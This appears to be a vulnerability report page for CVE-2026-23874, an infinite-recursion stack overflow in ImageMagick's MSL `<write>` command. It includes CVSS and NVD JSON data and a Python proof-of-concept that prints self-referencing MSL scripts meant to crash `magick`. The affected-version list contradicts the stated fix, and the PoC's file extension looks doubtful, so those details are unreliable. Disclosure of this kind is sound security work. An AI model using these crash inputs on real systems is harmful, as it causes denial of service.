Security Vulnerability Report
中文
CVE-2026-23874 CVSS 5.5 MEDIUM

CVE-2026-23874

Published: 2026-01-20 01:15:57
Last Modified: 2026-01-29 13:57:08

Description

ImageMagick is free and open-source software used for editing and manipulating digital images. Versions prior to 7.1.2-13 have a stack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format. Version 7.1.2-13 fixes the issue.

CVSS Details

CVSS Score
5.5
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:* - VULNERABLE
ImageMagick < 7.1.2-13
ImageMagick < 7.1.1-12

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2026-23874 PoC - ImageMagick MSL Infinite Recursion Stack Overflow This PoC demonstrates the infinite recursion vulnerability in MSL <write> command. """ poc_msl = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="test.png" /> <write filename="test_msl.mcsl"> <canvas width="100" height="100" color="red" /> <write filename="test_msl.mcsl" /> </write> </image> """ # Alternative PoC - Self-referencing MSL script poc_msl_v2 = """<?xml version="1.0" encoding="UTF-8"?> <image> <read filename="input.jpg" /> <write filename="recursive.mcsl"> <canvas width="100" height="100" /> <write filename="recursive.mcsl" /> </write> </image> """ # Usage: # 1. Save the MSL script as poc.mcsl # 2. Run: magick poc.mcsl output.png # 3. This will trigger infinite recursion and cause stack overflow print("PoC for CVE-2026-23874") print("ImageMagick MSL Infinite Recursion Vulnerability") print("\nGenerated MSL PoC script:") print(poc_msl) print("\nTo trigger the vulnerability:") print("1. Save the above MSL content to a file (e.g., poc.mcsl)") print("2. Execute: magick poc.mcsl output.png") print("3. Observe stack overflow or crash")

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-23874", "sourceIdentifier": "[email protected]", "published": "2026-01-20T01:15:57.300", "lastModified": "2026-01-29T13:57:07.867", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "ImageMagick is free and open-source software used for editing and manipulating digital images. Versions prior to 7.1.2-13 have a stack overflow via infinite recursion in MSL (Magick Scripting Language) `<write>` command when writing to MSL format. Version 7.1.2-13 fixes the issue."}, {"lang": "es", "value": "ImageMagick es un software libre y de código abierto utilizado para editar y manipular imágenes digitales. Las versiones anteriores a la 7.1.2-13 tienen un desbordamiento de pila mediante recursión infinita en el comando `` de MSL (Magick Scripting Language) al escribir en formato MSL. La versión 7.1.2-13 corrige el problema."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-835"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:imagemagick:imagemagick:*:*:*:*:*:*:*:*", "versionEndExcluding": "7.1.2-13", "matchCriteriaId": "A4F0ED35-C455-412F-860C-5B3A9371E882"}]}]}], "references": [{"url": "https://github.com/ImageMagick/ImageMagick/security/advisories/GHSA-9vj4-wc7r-p844", "source": "[email protected]", "tags": ["Exploit", "Vendor Advisory"]}]}}